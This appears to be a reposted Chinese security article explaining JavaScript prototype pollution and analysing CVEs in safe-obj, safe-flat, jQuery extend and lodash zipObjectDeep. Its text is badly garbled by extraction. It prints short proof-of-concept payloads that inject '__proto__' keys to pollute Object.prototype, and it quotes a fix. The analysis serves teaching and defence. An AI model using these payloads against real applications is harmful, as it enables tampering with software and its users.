[16925] 2021-06-19_JavaScript原型链污染原理及相关CVE漏洞剖析

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-06-19_JavaScript原型链污染原理及相关CVE漏洞剖析 J a v a S c r i p t C V E   F r e e B u f   2 0 2 1 - 0 6 - 1 9 0 x 0 0   2 0 1 9 S n y k J a v a S c r i p t L o d a s h 使 W e b J a v a S c r i p t   P r o t o t y p e   P o l l u t i o n J a v a S c r i p t 0 x 0 1   J a v a S c r i p t J a v a S c r i p t     ( p r o t o t y p e - b a s e d   l a n g u a g e ) ( p r o t o t y p e   c h a i n ) J a v a S c r i p t p r o t o t y p e P e r s o n P e r s o n . p r o t o t y p e c o n s t r u c t o r P e r s o n P e r s o n . p r o t o t y p e O b j e c t . p r o t o t y p e p e r s o n P e r s o n n a m e a g e g e n d e r p r o t o 4 p r o t o P e r s o n . p r o t o t y p e v a r   p e r s o n = n e w   P e r s o n ( ' l y c ' , 3 0 , ' m a l e ' ) c o n s o l e . l o g ( p e r s o n ) ; p r o t o
访 p e r s o n , p e r s o n . , p e r s o n p r o t o ( P e r s o n . p r o t o t y p e ) P e r s o n . p r o t o t y p e 使 P e r s o n . p r o t o t y p e P e r s o n . p r o t o t y p e p r o t o p r o t o O b j e c t . p r o t o t y p e 0 x 0 2   J a v a S c r i p t J a v a C l a s s T e a c h e r P e r s o n . c a l l P e r s o n P e r s o n . c a l l t h i s T e a c h e r t h i s P e r s o n t h i s . n a m e T e a c h e r t h i s O b j e c t . c r e a t e ( ) p r o t o 使 P e r s o n . p r o t o t y p e p r o t o T e a c h e r p r o t o p r o t o T e a c h e r T e a c h e r p r o t o T e a c h e r P e r s o n T e a c h e r . p r o t o t y p e f u n c t i o n   T e a c h e r ( n a m e , a g e , g e n d e r , s u b j e c t ) {         P e r s o n . c a l l ( t h i s , n a m e ) ;         P e r s o n . c a l l ( t h i s , a g e ) ;         P e r s o n . c a l l ( t h i s , g e n d e r ) ;         t h i s . s u b j e c t = s u b j e c t ; } T e a c h e r . p r o t o t y p e = n e w   P e r s o n ( ) ; c o n s o l e . l o g ( T e a c h e r . p r o t o t y p e ) ;
T e a c h e r . p r o t o t y p e p r o t o P e r s o n . p r o t o t y p e 0 x 0 3   J a v a S c r i p t 访 p r o t o p r o t o 0 x 0 4   m e r g e ( ) h t t p s : / / g i s t . g i t h u b . c o m / a h t c x / 0 c d 9 4 e 6 2 6 9 1 f 5 3 9 1 6 0 b 3 2 e c d a 1 8 a f 3 d 6 # f i l e - d e e p - m e r g e - j s c o n s t   m e r g e   =   ( t a r g e t ,   s o u r c e )   = >   {     / /   I t e r a t e   t h r o u g h   ` s o u r c e `   p r o p e r t i e s   a n d   i f   a n   ` O b j e c t `   s e t   p r o p e r t y   t o   m e r g e   o f   ` t a r g e t `   a n d   ` s o u r c e `   p r o p e r t i e s
J a v a S c r i p t O b j e c t . a s s i g n j o b p r o t o p e r s o n P e r s o n 0 x 0 4 1   J a v a S c r i p t O b j e c t . a s s i g n P e r s o n O b j e c t . a s s i g n s t r i n g n u m b e r p r o t o p e r s o n { x :   1 } P e r s o n . p r o t o t y p e     f o r   ( c o n s t   k e y   o f   O b j e c t . k e y s ( s o u r c e ) )   {         i f   ( s o u r c e [ k e y ]   i n s t a n c e o f   O b j e c t )   O b j e c t . a s s i g n ( s o u r c e [ k e y ] ,   m e r g e ( t a r g e t [ k e y ] ,   s o u r c e [ k e y ] ) )     }     / /   J o i n   ` t a r g e t `   a n d   m o d i f i e d   ` s o u r c e `     O b j e c t . a s s i g n ( t a r g e t   | |   { } ,   s o u r c e )     r e t u r n   t a r g e t } f u n c t i o n   P e r s o n ( n a m e , a g e , g e n d e r ) {         t h i s . n a m e = n a m e ;         t h i s . a g e = a g e ;         t h i s . g e n d e r = g e n d e r ; } l e t   n e w p e r s o n = n e w   P e r s o n ( " t e s t 1 " , 2 2 , " m a l e " ) ; l e t   j o b = J S O N . p a r s e ( ' { " t i t l e " : " S e c u r i t y   E n g i n e e r " , " c o u n t r y " : " C h i n a " , " _ _ p r o t o _ _ " : { " x " : 1 } } ' ) ; m e r g e ( n e w p e r s o n , j o b ) ; c o n s o l e . l o g ( n e w p e r s o n ) ; f u n c t i o n   P e r s o n ( n a m e , a g e , g e n d e r ) {         t h i s . n a m e = n a m e ;         t h i s . a g e = a g e ;         t h i s . g e n d e r = g e n d e r ; } l e t   p e r s o n 1 = n e w   P e r s o n ( " t e s t 1 " , 2 2 , " m a l e " ) ; l e t   j o b = J S O N . p a r s e ( ' { " t i t l e " : " S e c u r i t y   E n g i n e e r " , " c o u n t r y " : " C h i n a " , " _ _ p r o t o _ _ " : { " x " : 1 } } ' ) ; O b j e c t . a s s i g n ( p e r s o n 1 , j o b ) ; c o n s o l e . l o g ( P e r s o n . p r o t o t y p e ) ;
0 x 0 4 2   C V E - 2 0 2 1 - 2 5 9 2 8 P O C s a f e - o b j v 1 . 0 . 0 l i b / i n d e x . j s e x t e n d e x p a n d , p r o p s e l s e p r o p . s h i f t ( ) p r o p i f e x p a n d v a r   s a f e O b j   =   r e q u i r e ( " s a f e - o b j " ) ; v a r   o b j   =   { } ; c o n s o l e . l o g ( " B e f o r e   :   "   +   { } . p o l l u t e d ) ; s a f e O b j .   e x p a n d   ( o b j , ' _ _ p r o t o _ _ . p o l l u t e d ' , ' Y e s !   I t s   P o l l u t e d ' ) ; c o n s o l e . l o g ( " A f t e r   :   "   +   { } . p o l l u t e d ) ; p a t h ' _ _ p r o t o _ _ . p o l l u t e d ' t h i n g ' Y e s !   I t s   P o l l u t e d ' s p l i t ( ' . ' ) e x p a n d ( o b j [ _ _ p r o t o _ _ ] " p o l l u t e d " , " Y e s !   I t s   P o l l u t e d " )
, p r o p s p o l l u t e d p r o p s . l e n g t h = = = 1 t r u e o b j [ p r o p s . s h i f t ( ) ] = t h i n g o b j 0 x 0 4 3   C V E - 2 0 2 1 - 2 5 9 2 7 s a f e - f l a t v 2 . 0 . 0 ~ v 2 . 0 . 1 P O C 4 4 u n f l a t ( ) o b j s p l i t ( ' ' . ' ) o b j [ _ _ p r o t o _ _ ] [ " p o l l u t e d " ] = " Y e s !   I t s   P o l l u t e d " v a r   s a f e F l a t   =   r e q u i r e ( " s a f e - f l a t " ) ; c o n s o l e . l o g ( " B e f o r e   :   "   +   { } . p o l l u t e d ) ; s a f e F l a t . u n f l a t t e n ( { " _ _ p r o t o _ _ . p o l l u t e d " :   " Y e s !   I t s   P o l l u t e d " } ,   ' . ' ) ; c o n s o l e . l o g ( " A f t e r   :   "   +   { } . p o l l u t e d ) ;
o r i g i n a l o r i g i n a l k e y s p l i t ( ) k e y n e w k e y s k e y r e d u c e o k r e t u r n o k r e t u r n o b j e c t { _ _ p r o t p _ _ . p o l l u t e d : " Y e s !   I t s   P o l l i t e d " } " _ _ p r o t o _ _ . p o l l u t e d " " . " [ " _ _ p r o t o _ _ " ,   " p o l l u t e d " ] { } o b j e c t ( ) _ _ p r o t o _ _ o [ _ _ p r o t o _ _ ] o b j e c t ( ) o b j e c t ( ) p o l l u t e d n e w K e y s . l e n g t h   -   1   = = =   i   ?   o r i g i n a l [ k e y ]   :   { } ; T r u e o b j e c t ( ) . p o l l u t e d o r i g i n a l [ " _ _ p r o t o _ _ . p o l l u t e d " ] " Y e s !   I t s   P o l l u t e d "
0 x 0 4 4   C V E - 2 0 1 9 - 1 1 3 5 8 3 . 4 . 0 j Q u e r y C V E - 2 0 1 9 - 1 1 3 5 8 P o C 3 . 3 . 1 e x t e n d s r c / c o r e . j s 1 2 5 t r u e + l i n e 4 8 c o n s t   p r o t o   =   [ ' _ _ p r o t o _ _ ' ,   ' c o n s t r u c t o r ' ,   ' p r o t o t y p e ' ] + l i n e 5 6 i f   ( p r o t o . i n c l u d e s ( n e w K e y s [ i ] ) )   r e t u r n   o $ . e x t e n d ( t r u e ,   { } ,   J S O N . p a r s e ( ' { " _ _ p r o t o _ _ " :   { " z " :   1 2 3 } } ' ) ) c o n s o l e . l o g ( z ) ;   / /   1 2 3
P O C e x t e n d 2 { } 3 o p t i o n s j Q u e r y f o r 1 5 8 f o r o p t i o n s t a r g e t P O C e x t e n d 1 8 0 P O C e x t e n d
t a r g e t { } p r o t o s r c O b j e c t . p r o t o t y p e c o p y = { z 1 2 3 } c o p y 1 6 8 e x t e n d e x t e n d z O b j e c t . p r o t o t y p e z s r c u n d e f i n e d O b j e c t . p r o t o t y p e z 1 2 3 O b j e c t z j Q u e r y 3 . 4 . 0 p r o t o 0 x 0 5   J a v a S c r i p t t h e F u n c t i o n ( o b j e c t ,   p a t h , v a l u e ) o b j e c t p a t h v a l u e p a t h p r o t o . t h e V a l u e t h e F u n c t i o n t h e V a l u e o b j e c t 0 x 0 5 1 C V E - 2 0 2 0 - 8 2 0 3 l o d a s h J a v a S c r i p t 4 . 1 7 . 1 6 l o d a s h z i p O b j e c t D e e p O b j e c t P O C c o n s t   _   =   r e q u i r e ( ' l o d a s h ' ) ; _ . z i p O b j e c t D e e p ( [ ' _ _ p r o t o _ _ . z ' ] , [ 1 2 3 ] ) c o n s o l e . l o g ( z )   / /   1 2 3
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则